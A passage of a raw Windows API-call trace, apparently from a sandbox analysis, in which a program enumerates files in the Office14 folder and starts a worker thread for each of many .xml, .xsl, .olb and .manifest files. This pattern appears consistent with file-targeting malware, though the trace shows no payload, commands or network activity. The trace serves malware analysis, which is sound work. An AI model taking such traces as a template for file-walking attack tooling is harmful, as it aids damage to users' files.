ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xa2780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.dll", cAlternateFileName="MIBA26~1.DLL")) returned 1 [0086.219] wcscmp (_String1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", _String2=".") returned 1 [0086.219] wcscmp (_String1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", _String2="..") returned 1 [0086.220] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c3f00, ftCreationTime.dwHighDateTime=0x1ca2551, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c3f00, ftLastWriteTime.dwHighDateTime=0x1ca2551, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.xml", cAlternateFileName="MI8366~1.XML")) returned 1 [0086.220] wcscmp (_String1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", _String2=".") returned 1 [0086.220] wcscmp (_String1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", _String2="..") returned 1 [0086.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x1183a0 [0086.220] wcscpy (in: _Dest=0x1183a0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.220] wcscat (in: _Dest=0x1183a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.220] wcscat (in: _Dest=0x1183a0, _Source="Microsoft.Office.BusinessApplications.RuntimeUi.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml" [0086.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1183a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0 [0091.052] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xe9780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0091.052] wcscmp (_String1="Microsoft.Office.BusinessData.dll", _String2=".") returned 1 [0091.052] wcscmp (_String1="Microsoft.Office.BusinessData.dll", _String2="..") returned 1 [0091.052] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x33737, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.xml", cAlternateFileName="MICROS~4.XML")) returned 1 [0091.052] wcscmp (_String1="Microsoft.Office.BusinessData.xml", _String2=".") returned 1 [0091.052] wcscmp (_String1="Microsoft.Office.BusinessData.xml", _String2="..") returned 1 [0091.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce11080 [0091.052] wcscpy (in: _Dest=0x1ce11080, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0091.052] wcscat (in: _Dest=0x1ce11080, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0091.052] wcscat (in: _Dest=0x1ce11080, _Source="Microsoft.Office.BusinessData.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml" [0098.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa84 [0098.033] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x4998, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", cAlternateFileName="MI6145~1.DLL")) returned 1 [0098.033] wcscmp (_String1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", _String2=".") returned 1 [0098.033] wcscmp (_String1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", _String2="..") returned 1 [0098.033] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb13800, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdb13800, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.FormControl.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.033] wcscmp (_String1="Microsoft.Office.InfoPath.FormControl.dll", _String2=".") returned 1 [0098.033] wcscmp (_String1="Microsoft.Office.InfoPath.FormControl.dll", _String2="..") returned 1 [0098.033] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x61e95fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x63790, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", cAlternateFileName="MIE42F~1.DLL")) returned 1 [0098.033] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", _String2=".") returned 1 [0098.033] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", _String2="..") returned 1 [0098.033] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x542d90d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0xc5265, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0098.033] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", _String2=".") returned 1 [0098.033] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", _String2="..") returned 1 [0098.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x107840 [0098.033] wcscpy (in: _Dest=0x107840, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0098.033] wcscat (in: _Dest=0x107840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0098.033] wcscat (in: _Dest=0x107840, _Source="Microsoft.Office.Interop.InfoPath.SemiTrust.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml" [0098.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1488 [0098.034] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x561caed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0098.034] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.Xml.dll", _String2=".") returned 1 [0098.034] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.Xml.dll", _String2="..") returned 1 [0098.034] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62def200, ftCreationTime.dwHighDateTime=0x1c9bc30, ftLastAccessTime.dwLowDateTime=0x65d38290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62def200, ftLastWriteTime.dwHighDateTime=0x1c9bc30, nFileSizeHigh=0x0, nFileSizeLow=0x837d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.xml", cAlternateFileName="MI4026~1.XML")) returned 1 [0098.034] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.Xml.xml", _String2=".") returned 1 [0098.034] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.Xml.xml", _String2="..") returned 1 [0098.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106d00 [0098.035] wcscpy (in: _Dest=0x106d00, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0098.035] wcscat (in: _Dest=0x106d00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0098.035] wcscat (in: _Dest=0x106d00, _Source="Microsoft.Office.Interop.InfoPath.Xml.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml" [0098.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x106d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148c [0098.036] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x102e00, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x102e00, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x12798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", cAlternateFileName="MIAE71~1.DLL")) returned 1 [0098.036] wcscmp (_String1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", _String2=".") returned 1 [0098.036] wcscmp (_String1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", _String2="..") returned 1 [0098.036] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x67760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.workflow.actions.proxy.dll", cAlternateFileName="MIF37A~1.DLL")) returned 1 [0098.036] wcscmp (_String1="microsoft.office.workflow.actions.proxy.dll", _String2=".") returned 1 [0098.036] wcscmp (_String1="microsoft.office.workflow.actions.proxy.dll", _String2="..") returned 1 [0098.036] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x7d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0098.036] wcscmp (_String1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", _String2=".") returned 1 [0098.036] wcscmp (_String1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", _String2="..") returned 1 [0098.036] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x311b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.xml", cAlternateFileName="MICROS~2.XML")) returned 1 [0099.574] wcscmp (_String1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", _String2=".") returned 1 [0099.574] wcscmp (_String1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", _String2="..") returned 1 [0099.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1b776bd0 [0099.574] wcscpy (in: _Dest=0x1b776bd0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0099.574] wcscat (in: _Dest=0x1b776bd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0099.574] wcscat (in: _Dest=0x1b776bd0, _Source="Microsoft.SharePoint.BusinessData.Administration.Client.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml" [0126.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b776bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1538 [0126.685] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x74760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.sharepoint.workflowactions.proxy.dll", cAlternateFileName="MI6AA3~1.DLL")) returned 1 [0126.685] wcscmp (_String1="microsoft.sharepoint.workflowactions.proxy.dll", _String2=".") returned 1 [0126.685] wcscmp (_String1="microsoft.sharepoint.workflowactions.proxy.dll", _String2="..") returned 1 [0126.685] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c26830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x84760, dwReserved0=0x0, dwReserved1=0x0, cFileName="MIMEDIR.DLL", cAlternateFileName="")) returned 1 [0126.685] wcscmp (_String1="MIMEDIR.DLL", _String2=".") returned 1 [0126.685] wcscmp (_String1="MIMEDIR.DLL", _String2="..") returned 1 [0126.685] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2796a00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2796a00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x8b760, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0126.685] wcscmp (_String1="misc.exe", _String2=".") returned 1 [0126.685] wcscmp (_String1="misc.exe", _String2="..") returned 1 [0126.685] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLCFG32.CPL", cAlternateFileName="")) returned 1 [0126.685] wcscmp (_String1="MLCFG32.CPL", _String2=".") returned 1 [0126.685] wcscmp (_String1="MLCFG32.CPL", _String2="..") returned 1 [0126.685] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x5980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLSHEXT.DLL", cAlternateFileName="")) returned 1 [0126.685] wcscmp (_String1="MLSHEXT.DLL", _String2=".") returned 1 [0126.685] wcscmp (_String1="MLSHEXT.DLL", _String2="..") returned 1 [0126.685] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79fd00, ftCreationTime.dwHighDateTime=0x1c9cdff, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe79fd00, ftLastWriteTime.dwHighDateTime=0x1c9cdff, nFileSizeHigh=0x0, nFileSizeLow=0x25f87, dwReserved0=0x0, dwReserved1=0x0, cFileName="MML2OMML.XSL", cAlternateFileName="")) returned 1 [0126.685] wcscmp (_String1="MML2OMML.XSL", _String2=".") returned 1 [0126.685] wcscmp (_String1="MML2OMML.XSL", _String2="..") returned 1 [0126.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8671c0 [0126.686] wcscpy (in: _Dest=0x1b8671c0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.686] wcscat (in: _Dest=0x1b8671c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.686] wcscat (in: _Dest=0x1b8671c0, _Source="MML2OMML.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL" [0126.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8671c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1714 [0126.687] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6140cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x9f368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MODELENG.DLL", cAlternateFileName="")) returned 1 [0126.687] wcscmp (_String1="MODELENG.DLL", _String2=".") returned 1 [0126.687] wcscmp (_String1="MODELENG.DLL", _String2="..") returned 1 [0126.687] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x9a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MORPH9.DLL", cAlternateFileName="")) returned 1 [0126.687] wcscmp (_String1="MORPH9.DLL", _String2=".") returned 1 [0126.687] wcscmp (_String1="MORPH9.DLL", _String2="..") returned 1 [0126.687] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82755f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x32960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXINT.DLL", cAlternateFileName="")) returned 1 [0126.687] wcscmp (_String1="MPXINT.DLL", _String2=".") returned 1 [0126.687] wcscmp (_String1="MPXINT.DLL", _String2="..") returned 1 [0126.687] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca1de00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaca1de00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0xa5580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACC.OLB", cAlternateFileName="")) returned 1 [0126.687] wcscmp (_String1="MSACC.OLB", _String2=".") returned 1 [0126.687] wcscmp (_String1="MSACC.OLB", _String2="..") returned 1 [0126.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867840 [0126.687] wcscpy (in: _Dest=0x1b867840, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.687] wcscat (in: _Dest=0x1b867840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.687] wcscat (in: _Dest=0x1b867840, _Source="MSACC.OLB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB" [0126.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1840 [0126.688] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fbe00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fbe00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x132cb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.EXE", cAlternateFileName="")) returned 1 [0126.688] wcscmp (_String1="MSACCESS.EXE", _String2=".") returned 1 [0126.688] wcscmp (_String1="MSACCESS.EXE", _String2="..") returned 1 [0126.688] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53eb900, ftCreationTime.dwHighDateTime=0x1cab7e4, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe53eb900, ftLastWriteTime.dwHighDateTime=0x1cab7e4, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaccess.exe.manifest", cAlternateFileName="MSACCE~1.MAN")) returned 1 [0126.688] wcscmp (_String1="msaccess.exe.manifest", _String2=".") returned 1 [0126.688] wcscmp (_String1="msaccess.exe.manifest", _String2="..") returned 1 [0126.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85b490 [0126.689] wcscpy (in: _Dest=0x1b85b490, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.689] wcscat (in: _Dest=0x1b85b490, _Source="\\" | 